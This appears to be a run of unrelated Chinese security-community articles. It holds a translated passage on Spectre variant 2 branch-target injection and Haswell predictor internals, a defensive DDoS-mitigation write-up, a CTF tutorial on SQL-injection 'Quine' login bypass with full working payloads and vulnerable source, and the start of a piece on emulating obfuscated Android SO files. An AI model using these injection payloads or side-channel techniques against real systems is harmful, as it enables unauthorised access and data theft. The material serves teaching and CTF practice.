+ offset`指向用户空间的一个内存区域。
误导分支预测和弹跳缓存线的方式与第一个eBPF程序的方式相同，不同之处在于现在保存victim_map长度的缓存线也必须退回到另一个内核。
# 变体2：分支目标注入
本节介绍了我们PoC的变体2背后的理论，当在使用Intel Haswell Xeon CPU上的virt-manager创建的KVM
guest虚拟机中使用root权限运行时，可以读取主机上运行的特定版本的Debian发行版内核内核内存的速度大约为1500字节/秒。
## 基础
之前的研究（见最后文献部分）已经表明，不同安全上下文中的代码可能影响彼此的分支预测。到目前为止，这只被用来推断代码所在位置的信息（换句话说，是为了制造受害者对攻击者的干扰）;
然而，这种攻击变体的基本假设是它也可以用来重定向受害者上下文中的代码执行（换句话说，创建攻击者对受害者的干扰;反之亦然）。
攻击的基本思想是将包含目标地址从内存加载的间接分支的受害代码作为目标，并将包含目标地址的缓存行清除到主内存。
然后，当CPU到达间接分支时，它不会知道跳转的真正目的地，并且它将不能计算真正的目的地，直到它将高速缓存行加载回CPU为止，这通常需要花费几百个周期。
因此，通常有超过100个周期的时间窗口，其中CPU将基于分支预测推测性地执行指令。
## Haswell分支预测内部
英特尔处理器实施的分支预测内部部分已经发布; 然而，让这种攻击正常工作需要进一步的实验来确定更多细节。
本节重点介绍从Intel Haswell Xeon CPU实验派生的分支预测内部结构。
Haswell似乎有多种分支预测机制，工作方式非常不同：
* 通用分支预测器，每个源地址只能存储一个目标; 用于各种跳转，如绝对跳转，相对跳转等。
* 专门的间接调用预测器，可以为每个源地址存储多个目标; 用于间接呼叫。
* （根据英特尔的优化手册，还有一个专门的返回预测器，但是我们还没有详细分析，如果这个预测器可以用来可靠地转储出一部分虚拟机进入的调用栈，非常有趣。）
### 通用预测器
正如先前研究中所记录的，通用分支预测器仅使用源指令最后一个字节地址的低31位进行预测。
例如，如果跳转从0x4141.0004.1000到0x4141.0004.5123存在分支目标缓冲区（BTB）条目，通用预测器也将使用它来预测从0x4242.0004.1000跳转。
当源地址的较高位如此不同时，预测目标的较高位与它一起改变，在这种情况下，预测的目的地址将是0x4242.0004.5123，显然这个预测器不会存储完整的绝对目标地址。
在使用源地址的低31位查找BTB条目之前，使用XOR将它们折叠在一起。 具体而言，以下几位被折叠在一起：
换句话说，如果一个源地址与这个表的一行中的两个数字异或，那么在执行查找时，分支预测器将无法将结果地址与原始源地址区分开来。
例如，分支预测器可以区分源地址0x100.0000和0x180.0000，也可以区分源地址0x100.0000和0x180.8000，但不能区分源地址0x100.0000和0x140.2000
或源地址0x100.0000和0x180.4000。 在下文中，这将被称为别名源地址。
当使用别名源地址时，分支预测器仍然会预测与未混淆源地址相同的目标。 这表明分支预测器存储截断的绝对目标地址，但尚未验证。
根据观察到的不同源地址的最大前向和后向跳转距离，目标地址的低32位可以存储为绝对32位值，并附加一个bit，指定从源跳转到目标是否跨越2^32边界;
如果跳转跨越这样的边界，则源地址的31 bit确定指令指针的高位一半是应该递增还是递减。
### 间接调用预测器
该机制的BTB查找的输入似乎是：
* 源指令地址的低12位（我们不确定它是第一个还是最后一个字节的地址）或它们的一个子集。
* 分支历史缓冲区状态。
如果间接调用预测器无法解析分支，则由通用预测变量解析。英特尔的优化手册暗示了这种行为：“间接调用和跳转，它们可能被预测为具有单调目标或具有根据最近程序行为而变化的目标。”
分支历史缓冲区（BHB）存储关于最后29个采取分支的信息（基本上是最近控制流程的指纹）并用于更好地预测可能有多个目标的间接调用。
BHB的更新功能的工作原理如下（伪代码; src 是源指令最后一个字节的地址，dst 是目标地址）：
void bhb_update(uint58_t *bhb_state, unsigned long src, unsigned long dst) {
*bhb_state <<= 2;
*bhb_state ^= (dst & 0x3f);
*bhb_state ^= (src & 0xc0) >> 6;
*bhb_state ^= (src & 0xc00) >> (10 - 2);
*bhb_state ^= (src & 0xc000) >> (14 - 4);
*bhb_state ^= (src & 0x30) << (6 - 4);
*bhb_state ^= (src & 0x300) << (8 - 8);
*bhb_state ^= (src & 0x3000) >> (12 - 10);
*bhb_state ^= (src & 0x30000) >> (16 - 12);
*bhb_state ^= (src & 0xc0000) >> (18 - 14);
}
当用于BTB访问时，BHB状态的某些位似乎用XOR进一步折叠在一起，但精确的折叠功能尚未被理解。
BHB很有趣，有两个原因。 首先，需要关于其近似行为的知识，以便能够准确地引起间接调用预测器中的冲突。
但它也允许在任何可重复的程序状态下抛出BHB状态，攻击者可以在超级调用后直接执行代码 - 例如攻击管理程序时。
然后可以使用转储的BHB状态来指导管理程序，或者如果攻击者可以访问管理程序二进制文件，则确定管理程序加载地址的低20位（在KVM的情况下：加载低20位
的kvm-intel.ko地址）。
### 逆向工程分支预测器内部
本小节描述了我们如何逆向Haswell分支预测器的内部结构。有些内容是从内存中写下来的，因为我们没有详细记录我们做的事情。
我们最初尝试使用通用预测器对内核执行BTB注入，使用先前研究中的知识，即通用预测器仅查看源地址的下半部分，并且仅存储部分目标地址。 这种工作 -然而，注射成功率非常低，低于1％。 （这是我们在方法2的初始PoC中使用的方法，针对在Haswell上运行的修改后的虚拟机监控程序。）
我们决定编写一个用户空间测试用例，以便能够更轻松地测试不同情况下的分支预测器行为。
基于分支预测器状态在超线程之间共享的假设[10]，我们编写了一个程序，其中两个实例分别固定到在特定物理内核上运行的两个逻辑处理器中的一个，其中一个实例尝试执行分支注入，而另一个实例测量分支注入成功的频率。
这两个实例都是在禁用ASLR的情况下执行的，并且具有相同地址的相同代码。
注入过程对访问（每个进程）测试变量的函数执行间接调用;测量过程对函数进行间接调用，该函数根据时序测试每个进程的测试变量是否被缓存，然后将其逐出
使用CLFLUSH。 这两个间接呼叫都是通过相同的呼叫站点执行的。
在每次间接调用之前，使用CLFLUSH将存储在内存中的函数指针刷新到主内存以扩大推测时间窗口。
此外，由于英特尔优化手册中提及“最近的程序行为”，因此总是采用的一组条件分支插入到间接调用之前。
在这个测试中，注入成功率高于99％，为我们今后的实验奠定了基础。
然后我们试图找出预测方案的细节。 我们假设预测方案使用某种全局分支历史缓冲区。
为了确定分支信息保持在历史缓冲区中的持续时间，仅在两个程序实例中的一个中采用的条件分支被插入在一系列始终采用的条件跳转的前面，则总是采用的条件跳转（N）的数量是变化的。
结果是，对于N = 25，处理器能够区分分支（误预测率低于1％），但是对于N = 26，它没有这样做（错误预测率超过99％）。
所以分支历史缓冲区必须至少能存储最后的26个分支的信息。
两个程序实例之一的代码随后在内存中移动。 这表明只有源地址和目标地址的低20位对分支历史缓冲区有影响。
在两个程序实例中使用不同类型的分支进行测试表明，静态跳转，条件跳转，调用和返回以同样的方式影响分支历史缓冲区; 未采取有条件的跳跃不会影响它;
源指令的最后一个字节的地址是计数的地址; IRETQ不会影响历史缓冲区状态（这对测试很有用，因为它允许创建历史缓冲区不可见的程序流）。
在间接调用内存之前，移动最后的条件分支多次显示分支历史缓冲区内容可用于区分最后一个条件分支指令的许多不同位置。 这表明历史缓冲区不存储小历史值列表;
相反，它似乎是历史数据混合在一起的更大的缓冲区。
然而，为了对分支预测有用，历史缓冲区在需要一定数量的新分支之后会“忘记”过去的分支。
因此，当新数据混合到历史缓冲区中时，不会导致历史缓冲区中已经存在的位中的信息向下传播 - 并且考虑到向上组合的信息可能不会非常有用。
考虑到分支预测也必须非常快，我们认为，历史缓冲区的更新功能可能左移旧历史缓冲区，然后XOR处于新状态（参见图）。
如果这个假设是正确的，那么历史缓冲区包含大量关于最近分支的信息，但只包含与每个历史缓冲区更新有关的最后一个含有任何数据的分支所移动的信息位数。因此，我们测试了翻转跳转的源地址和目标地址中的不同位，然后是带有静态源和目标的32个始终采用的跳转，允许分支预测消除间接调用的歧义。[11]
中间有32个静态跳转，似乎没有位翻转被影响，所以我们减少了静态跳转的次数，直到可以观察到差异。28次跳转的结果是目标的0x1和0x2
bits以及源的0x40和0x80 bits被影响。但是翻转目标中的0x1和源中的0x40或目标中的0x2和源的0x80不允许消除歧义。
这表明历史缓冲区每次插入的移位是2位，并显示哪些数据存储在历史缓冲区的最低有效位中。然后，我们在跳转位后通过减少固定跳转次数来确定哪些信息存储在剩余位中。
#### 篇幅所限，下篇继续 | 社区文章 |
# 如何防止DDoS攻击（上）
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<https://blog.fastmail.com/2015/12/08/how-to-stop-a-ddos-attack/>
译文仅供参考，具体内容表达以及含义原文为准。
**上个月，我们FastMail遭到DDoS攻击。在这一周中，我们学到了关于DDoS攻击的许多干货以及防范措施。**
**什么是DDoS** **攻击？**
DDoS即“分布式拒绝服务”。从根本上说，所有的互联网服务需要对网络请求执行某些操作并返回结果。要做到这一点，服务将投入一定量资源实现每个请求，其中的资源包括网络容量，CPU周期，存储器，IO等等。DoS攻击的通常方法是从外部寻找一些方法来耗尽可用的资源，所以导致没有资源留给合法请求。
有很多方法可以DDoS，最简单的是攻击者破坏该服务接受请求的网络连接。这就是“分布式”部分，使世界各地受感染的计算机（通过恶意软件和病毒）被指示发出大量请求网络服务的同时，堵塞网络连接并阻止合法请求。
DDoS攻击背后的想法是为攻击者产生比接收站点可以处理的更多的流量。一台计算机不可能有足够的网络资源来攻击一个服务器，如果这个服务器是高容量连接到网络的一个节点。但是，如果你能使得世界各地的在不同网络中的电脑在同一时间发出请求，你可以把这些汇聚起来让服务器处理。
主要的方式是通过“僵尸网络（botnet）”。一个僵尸网络由许多个（通常为几百或几千个）已安装了恶意软件的家庭或工作计算机组成。恶意软件的来源是电子邮件（垃圾邮件/病毒），附加的软件安装程序（广告软件/恶意软件）等。一旦安装上，该软件将通知控制服务器并等待指令。攻击者会发出一个命令指示这些机器开始发送大量的网络请求到被攻击的网站。
DDoS的另一种方式被称为“扩增攻击”。一些互联网服务（特别是DNS和NTP）经常错误配置成通过一个小的请求来诱骗服务发送大量响应到别的地方。如果几个僵尸网络的计算机都发出这类请求，就会导致大量的流量击中目标。现在僵尸网络越来越容易让人访问。你可以在某些网站租用一个僵尸网络一段时间，用信用卡或比特币支付，并通过一个简单的Web表单选择你的目标。
**DDoS** **防御准备**
在我们的例子中，我们确定了DNS和内部数据中心的VPN连接是最关键的。DNS是至关重要的，因为即使我们处于脱机状态，正在工作的DNS让网站发送电子邮件队列，而DNS的损失可能会导致反弹出现。另一方面，我们的数据中心之间的VPN链路，让我们的内部基础设施保持正常运行，即使外部网络出现故障，在集中攻击的这段时间内我们也没有一大堆的内部服务（如跨数据中心复制）发生崩溃。
**
**
**网络防御**
防止洪水般的流量进入你的网络的最好方法是让它远离你的网络。
DDoS攻击试图汇聚来自世界各地的流量到你单一的网络连接中。如果你能得到去别处的流量，那么你的网络连接就能对合法请求作出响应。
**
**
**Web和DNS缓解**
对于典型的Web应用程序，要做到这一点最简单的方法就是把一些全球分布式网络/
DNS代理（又名CDN）在你的服务前。这些使用Anycast来强制发往你的网站，先通过代理服务器物理上接近机器发出请求。他们还实施了各种DDoS防护和过滤，所以只有合法得到的东西才会传递给你。
当然，这只是如果攻击者不知道如何直接找到你时阻止攻击的办法。如果你曾经在DNS中发布自己的网络范围，那么每个人都知道你在哪里，即使你挂了代理。在这种情况下，你需要弄一些从来没有公布的新的公网IP地址，并且只提供给代理供应商，那么攻击者才能难以找到你的网络。
对于FastMail，网络代理是不够的，因为我们有重要的非Web服务（IMAP，SMTP等）的负载。正如我前面所说的
DNS是关键部分，所以我们现在在公共DNS使用CloudFlare虚拟DNS服务。我们传统的DNS域名服务器
ns1.messagingengine.com和ns2.messagingengine.com现在通过CloudFlare的服务器遍布世界各地，它通过新的、未公布的IP地址连接回我们。如果没有返回，他们会继续服务于缓存响应，直到我们回来。
**
**
**与数据中心供应商合作**
我们不会在云基础架构上运行我们的业务。相反，我们在不同的地点有自己的服务器运行在管理数据中心。像我们这样，数据中心供应商将把所有直接链接到“支柱”，这是高容量网络把不同的ISP、网络供应商和大型企业连接在一起而形成的“互联网”。这是减轻DDoS攻击最好的地方，因为可以看到流量的绝对数量并对其进行处理。在我们的例子中，NYI安排他们的网络合作伙伴之一来宣传我们的网络，指导DDoS攻击防护服务，过滤掉垃圾并传递合法的数据包到我们的网络。
NYI还提供给我们一个小范围的未公开的IP地址。正如前面所提到的，我们在这里为CloudFlare增加了一个DNS服务器来代理DNS流量，而我们通过这个范围的地址路由了跨数据中心的VPN连接。从理论上讲，如果我们的主网络阻塞，这种辅助网络应保持可用，因此DNS和跨数据中心之间的流量可以继续畅通无阻。
显然，有的攻击我们永远不能阻止，比如直接针对数据中心提供商的攻击，但这些都是攻击者使用那些“出售的”僵尸网络很难实现的。就像网络安全中所有的问题一样，你防御不了一个资源丰富而且坚定针对同一目标的攻击，但你可以对随意攻击做很多防御。
想要进一步了解如何应用DDoS攻击的防御措施，请关注 **播报推出的后续文章！** | 社区文章 |
# 从三道赛题再谈Quine trick
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
`Quine`本身不是一个非常新的考点了（最早可以追溯到2014年的`Codegate CTF
Finals`），但是他在实际利用中还存在很多细小的点，导致我们可能无法达到最后的效果，所以谨以此篇用三道比较典型的赛题重新梳理一下。
## 0x01 简介
`Quine`又叫做自产生程序，在`sql`注入技术中，这是一种使得输入的`sql`语句和输出的`sql`语句一致的技术，常用于一些特殊的登陆绕过`sql`注入中。
## 0x02 举例:yet_another_mysql_injection
第三届第五空间网络安全大赛的`yet_another_mysql_injection`赛题：
function checkSql($s) {
if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
alertMes('hacker', 'index.php');
}
}
if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
$username=$_POST['username'];
$password=$_POST['password'];
if ($username !== 'admin') {
alertMes('only admin can login', 'index.php');
}
checkSql($password);
$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);
if (!$row) {
alertMes("something wrong",'index.php');
}
if ($row['password'] === $password) {
die($FLAG);
} else {
alertMes("wrong password",'index.php');
}
}
上面`php`代码逻辑实现了一个通过`POST`提交登录请求的方法，要求`username`必须为`admin`，密码需要与查询到的`password`一致，才能拿到`flag`。
其实如果直接看这道题其实给出了所使用的`sql`语句，在语句中给出了表`user`，包括黑名单也在`checkSql`中都已经给出了，那么按理看这不是一个困难的注入，可以当成一个简单的盲注。通过使用`like`替换`=`，`benchmark`（或者其他笛卡儿积等）替换`sleep`，`mid`替换`substr`，`/**/`替换`Space`，使用如下`paload`即可完成：
union select if((select ascii(mid((select group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema like database()),{},1)) like {}),(select benchmark(4999999,md5('test'))),1)#
但是很遗憾，这样注出来`user`表中没有密码。
如果仔细看题目中这个比较判断的逻辑，我们就可以发现端倪。
$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);
if ($row['password'] === $password) {
die($FLAG);
简单来看，要求的是执行`$sql`的结果与`$password`相同，那么除了正常逻辑的密码相同会产生相等，如果我们的输入与最后的结果相等，那么一样可以绕过验证。这种技术就是`Quine`。
### 0x021 从payload理解Quine
示例payload：
union/**/SELECT/**/REPLACE(REPLACE('"/**/union/**/SELECT/**/REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")/**/AS/**/ch3ns1r#',CHAR(34),CHAR(39)),CHAR(46),'"/**/union/**/SELECT/**/REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")/**/AS/**/ch3ns1r#')/**/AS/**/ch3ns1r#
这样看起来不是很清楚，我们接下来从内层一步一步拆开看。
从大结构上，这段payload是由两个大REPLACE完成的
REPLACE ( string_expression , string_pattern , string_replacement )
即将string_expression中所有string_pattern替换为string_replacement
内层`REPLACE`：
REPLACE('"/**/union/**/SELECT/**/REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")/**/AS/**/ch3ns1r#',CHAR(34),CHAR(39))
我们暂且把它当作`A`，这里面有个字符串：
"/**/union/**/SELECT/**/REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")/**/AS/**/ch3ns1r#
我们暂且把它当作`B`。
简化一下最初的`payload`就是这个样子：
union/**/SELECT/**/REPLACE(A,CHAR(46),B)/**/AS/**/ch3ns1r#
其中：
A：REPLACE(B,CHAR(34),CHAR(39))
B：
"/**/union/**/SELECT/**/REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")/**/AS/**/ch3ns1r#
到这里应该就看的比较清楚了，有点像套娃。`A`这个形式就是`Quine`的基本形式，可以描述为如下形式：
REPLACE(str,编码的间隔符,str)
`str`可描述为如下形式：
REPLACE(间隔符,编码的间隔符,间隔符)
这样运算后，最后的结果又是：
REPLACE(str,编码的间隔符,str)
我们举个例子加深理解，设间隔符为`'.'`，编码的间隔符为`CHAR(46)`，那么`str`为：
REPLACE(".",CHAR(46),".")
放入最后的语句为：
REPLACE('REPLACE(".",CHAR(46),".")',CHAR(46),'REPLACE(".",CHAR(46),".")')
执行的结果为（先执行的`CHAR(46)`）：
REPLACE('REPLACE(".",CHAR(46),".")',CHAR(46),'REPLACE(".",CHAR(46),".")')
（注意以上的语句还没有考虑存在单双引号的情况）
这样就达到了输入与输出一致的效果。
MySQL localhost:3306 ssl SQL > SELECT REPLACE('REPLACE(".",CHAR(46),".")',CHAR(46),'REPLACE(".",CHAR(46),".")');
+---------------------------------------------------------------------------+
| REPLACE('REPLACE(".",CHAR(46),".")',CHAR(46),'REPLACE(".",CHAR(46),".")') |
+---------------------------------------------------------------------------+
| REPLACE("REPLACE(".",CHAR(46),".")",CHAR(46),"REPLACE(".",CHAR(46),".")") |
+---------------------------------------------------------------------------+
1 row in set (0.0005 sec)
### 0x022 从解决单双引号理解Quine
细心点的话就会发现，这里还存在单双引号的问题，我们重新考虑存在单双引号的情况。
`Quine`的基本形式：
REPLACE('str',编码的间隔符,'str')
`str`描述为如下形式：
REPLACE("间隔符",编码的间隔符,"间隔符")
这里`str`中的间隔符使用双引号的原因是，`str`已经被单引号包裹，为避免引入新的转义符号，间隔符需要使用双引号。
运算后的结果是：
REPLACE("str",编码的间隔符,"str")
但是我们希望`str`仍然使用单引号包裹，怎么办？
我们这样考虑，如果先使用`REPLACE`将`str`的双引号换成单引号，这样最后就不会出现引号不一致的情况了。
`Quine`的升级版基本形式：
REPLACE(REPLACE('str',CHAR(34),CHAR(39)),编码的间隔符,'str')
`str`的升级版形式：
REPLACE(REPLACE("间隔符",CHAR(34),CHAR(39)),编码的间隔符,"间隔符")
这里的`CHAR(34)`是双引号，`CHAR(39)`是单引号，如果`CHAR`被禁了`0x22`和`0x27`是一样的效果。
这里我们慢一点。
第一步：
REPLACE(REPLACE("间隔符",CHAR(34),CHAR(39)),编码的间隔符,"间隔符")
变成了
REPLACE(REPLACE('间隔符',CHAR(34),CHAR(39)),编码的间隔符,'间隔符')
第二步：
REPLACE('单引号str',编码的间隔符,'str')
变成了
REPLACE(REPLACE('str',CHAR(34),CHAR(39)),编码的间隔符,'str')
我们同样举刚才的例子，设间隔符为`'.'`，编码的间隔符为`CHAR(46)`，那么`str`为：
REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")
放入最后的语句为：
REPLACE(REPLACE('REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")',CHAR(34),CHAR(39)),CHAR(46),'REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")')
执行的结果为（先执行的内层`REPLACE`）：
REPLACE(REPLACE('REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")',CHAR(34),CHAR(39)),CHAR(46),'REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")')
实际结果：
MySQL localhost:3306 ssl SQL > SELECT REPLACE(REPLACE('REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")',CHAR(34),CHAR(39)),CHAR(46),'REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")');
+------------------------------------------------------------------------------------------------------------------------------------------------------------+
| REPLACE(REPLACE('REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")',CHAR(34),CHAR(39)),CHAR(46),'REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")') |
+------------------------------------------------------------------------------------------------------------------------------------------------------------+
| REPLACE(REPLACE('REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")',CHAR(34),CHAR(39)),CHAR(46),'REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")') |
+------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.0004 sec)
现在就完全一致了。
### 0x023 从实际解题中理解Quine
我们现在重看这道题的payload：
'/**/union/**/SELECT/**/REPLACE(REPLACE('"/**/union/**/SELECT/**/REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")/**/AS/**/ch3ns1r#',CHAR(34),CHAR(39)),CHAR(46),'"/**/union/**/SELECT/**/REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")/**/AS/**/ch3ns1r#')/**/AS/**/ch3ns1r#
可能刚开始不太理解为什么内层`REPLACE`会存在不匹配的一个双引号，那么现在就容易理解了。
`str`为：
"/**/union/**/SELECT/**/REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")/**/AS/**/ch3ns1r#
替换双引号为单引号：
'/**/union/**/SELECT/**/REPLACE(REPLACE('.',CHAR(34),CHAR(39)),CHAR(46),'.')/**/AS/**/ch3ns1r#
这样就和我们注入的语言是一样了，前面那个不匹配的双引号被替换成了我们注入的单引号。
所以我们如果需要最后实际注入的话，比如加入union、空格，单引号等都需要对`str`进行添加。
## 0x03 拓展
### 0x031 Holyshield CTF
源码：
<?php
$query = "select cid,passcode from cage where cid='{$_GET[cid]}' and passcode='{$_GET[passcode]}'";
if(!is_numeric($_GET['cid'])){
echo "<center><h1>[cid] is only number.</h1></center>";
exit();
}
if(preg_match('/cats|_|\.|rollup|join|@/i', $_GET['passcode'])) exit("<center><img src='sad.png' width='350px'><br></center>");
$result = @mysqli_fetch_array(mysqli_query($conn,$query));
if(($result['cid']) && ($result['passcode']) && ($result['cid'] == $_GET['passcode']) && ($result['passcode'] == 1337)){
print_r($result)."<br>";
$strtok = explode('cat',$result['cid']);
$que = substr($strtok[0],-0x10);
$query = "select secret from cats where name='{$que}'";
$result = @mysqli_fetch_array(mysqli_query($conn,$query));
if($result['secret']){
echo "<center><h1>secret : {$result['secret']}</h1></center>";
}
}
?>
注意这里的逻辑：
if(($result['cid']) && ($result['passcode']) && ($result['cid'] == $_GET['passcode']) && ($result['passcode'] == 1337))
这道赛题当时`cage`表中没有任何数据，我们要进入这个if又必须使得`cid`和`passcode`能够有返回，更关键的是，我们需要让查询到的`cid`和我们输入`passcode`的一致，且最后查询到的`passcode`要和`1337`相等，怎么办？
最后一个是最简单的我们只需要让`1337`在语句中成为`passcode`就可以。
SQL > Select 1337 AS passcode;
+----------+
| passcode |
+----------+
| 1337 |
+----------+
1 row in set (0.0006 sec)
而查询到的`cid`和我们输入的`passcode`一致，这其实跟我们上面提到的赛题是异曲同工，因此我们只需要在`passcode`使用`Quine`技术，并让结果成为`cid`即可。
payload：
' UNION SELECT REPLACE(REPLACE('" UNION SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS cid, 1337 AS passcode -- "OR 1 limit 3,1#',CHAR(34),CHAR(39)),CHAR(36),'" UNION SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS cid, 1337 AS passcode -- "OR 1 limit 3,1#') AS cid, 1337 AS passcode -- 'OR 1 limit 3,1#
注意，这里的`str`是：
" UNION SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS cid, 1337 AS passcode -- "OR 1 limit 3,1#
开头的双引号不多说，跟我们上面分析的一样，这里使用`$`也是没问题的，后面相应变化就可以，`cid`和`passcode`的变化对于`str`也需要加上，最后的`OR
1 limit 3,1`是什么意思，大家可以思考一下。
### 0x032 2021qwb Quals easy_sql
源码：
const salt = random('Aa0', 40);
const HashCheck = sha256(sha256(salt + 'admin')).toString();
let filter = (data) => {
let blackwords = ['alter', 'insert', 'drop', 'delete', 'update', 'convert', 'chr', 'char', 'concat', 'reg', 'to', 'query'];
let flag = false;
if (typeof data !== 'string') return true;
blackwords.forEach((value, idx) => {
if (data.includes(value)) {
console.log(`filter: ${value}`);
return (flag = true);
}
});
let limitwords = ['substring', 'left', 'right', 'if', 'case', 'sleep', 'replace', 'as', 'format', 'union'];
limitwords.forEach((value, idx) => {
if (count(data, value) > 3){
console.log(`limit: ${value}`);
return (flag = true);
}
});
return flag;
}
app.get('/source', async (req, res, next) => {
fs.readFile('./source.txt', 'utf8', (err, data) => {
if (err) {
res.send(err);
}
else {
res.send(data);
}
});
});
app.all('/', async (req, res, next) => {
if (req.method == 'POST') {
if (req.body.username && req.body.password) {
let username = req.body.username.toLowerCase();
let password = req.body.password.toLowerCase();
if (username === 'admin') {
res.send(`<script>alert("Don't want this!!!");location.href='/';</script>`);
return;
}
UserHash = sha256(sha256(salt + username)).toString();
if (UserHash !== HashCheck) {
res.send(`<script>alert("NoNoNo~~~You are not admin!!!");location.href='/';</script>`);
return;
}
if (filter(password)) {
res.send(`<script>alert("Hacker!!!");location.href='/';</script>`);
return;
}
let sql = `select password,username from users where username='${username}' and password='${password}';`;
client.query(sql, [], (err, data) => {
if (err) {
res.send(`<script>alert("Something Error!");location.href='/';</script>`);
return;
}
else {
if ((typeof data !== 'undefined') && (typeof data.rows[0] !== 'undefined') && (data.rows[0].password === password)) {
res.send(`<script>alert("Congratulation,here is your flag:${flag}");location.href='/';</script>`);
return;
}
else {
res.send(`<script>alert("Password Error!!!");location.href='/';</script>`);
return;
}
}
});
}
}
res.render('index');
return;
});
这个题目的具体解法安全客就有，大家有兴趣可以移步去看，我们只关注`Quine`部分。
注意这里的逻辑
if ((typeof data !== 'undefined') && (typeof data.rows[0] !== 'undefined') && (data.rows[0].password === password)) {
res.send(`<script>alert("Congratulation,here is your flag:${flag}");location.href='/';</script>`);
return;
其实这里就是典型的`Quine`，只不过这道题的数据库是`pgsql`，而且`REPLACE`函数被禁了。值得注意的是，`pgsql`下的`current_query`是可以获取当前执行的语句的，长亭的WP中似乎想要使用这种方法，但是没能成功，最后他们使用了堆叠注入并引入语法错误抵消`query`在`commit`后为空的情况。另外看了几个强队的WP也是这种解法。
有一种[解法](https://www.anquanke.com/post/id/244156#h3-7)值得注意，看起来似乎使用了使用了`Quine`进行盲注，但其实思考过就会明白这道题只需要构造一个合理的`Quine`即可，不需要盲注。
这个脚本中`for`循环是没什么用的，实际有用的`payload`是：
' union SELECT REPLACE(translate('" union SELECT REPLACE(translate(".",(select substr((select hint from hint),6,1)),(select substr((select hint from hint),3,1))),(select substr((select version()),14,1)),".") AS dem0-- ',(select substr((select hint from hint),6,1)),(select substr((select hint from hint),3,1))),(select substr((select version()),14,1)),'" union SELECT REPLACE(translate(".",(select substr((select hint from hint),6,1)),(select substr((select hint from hint),3,1))),(select substr((select version()),14,1)),".") AS dem0-- ') AS dem0--
这说明了，`translate`也是可以代理`replace`的，这也给我们提供了新的思路。（只不过没想懂为什么有这么多`select hint from
hint`）
## 0x04 可行的防御措施
`Quine`本身是个很危险的技术，对于开发人员而言题目中出现的逻辑并不鲜见，可行的防御方法是将`REPLACE`、`TRANSLATE`等函数也纳入黑名单，同时对查询获取到的结果做正则匹配，这样就可以一定程度防御`Quine`的攻击。 | 社区文章 |
# 【技术分享】 Android SO 高阶黑盒利用
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
作者：[小无名](http://bobao.360.cn/member/contribute?uid=2795066467)
预估稿费：500RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**前言**
Android 的开发者喜欢将一些核心认证算法写在SO中，以此来增加黑客利用其业务的难度。比起DEX文件，SO确实有不少优势。
优势一：SO中为原生ARM汇编，难以还原原始代码。DEX文件很容易被各种反编译工具直接还原成通俗易懂的Java代码。
优势二：SO调试成本高，而Java写的程序更容易被调试，如使用 **SmaliIdea、Jeb、IDA、Xposed、插桩打日志** 等多种方式。
优势三：SO难以在x86生产环境中黑盒调用，而DEX文件可转换成class文件，在生产环境中使用JNI直接传参调用。
综上所述，如果APP的核心算法采用C/C++编写并编译为SO文件，那么可以稍微增加点难度。但是这种难度对于经验丰富的逆向人员来说，仅仅是给他们增加点生活费。
实际上，SO还有各种保护，比如 **反调试、区块加密、OLLVM混淆、ARM VMP**
。OLLVM混淆是逆向人员的噩梦，这招确实能有效提高SO代码的安全性。ARM VMP 兼容性问题比较多，还无法商业化。
OLLVM混淆是噩梦，是本文的重点，那么我们要怎么利用被OLLVM混淆过的代码呢？
笔者将介绍一种无需逆向并且能在x86生产环境高效利用SO的小窍门。我以前就不断的思考，是否可以像调用jar文件那样调用ARM的SO文件呢？
众所周知，我们的目标SO一般有且只有ARM指令集的SO文件，如果有x86的SO文件，是可以直接黑盒利用。如果只有ARM指令集，可以采用本文介绍的方式进行黑盒利用或者采用逆向的方法直接还原源代码。很显然，对于Ollvm混淆过的程序来说，还原源代码是相当困难的。
如何调用ARM版本的SO文件？SO文件就是一个黑盒子，我们无须知道其内部原理～
**unicorn引擎**
****
unicorn引擎是一款跨平台跨语言的CPU仿真库，支持ARM，ARM64….所以我采用这个库来调用难以逆向的SO文件。
unicorn git地址：<https://github.com/unicorn-engine/unicorn>
unicorn库是支持Windows编译的，我是在Mac系统下完成的编译。
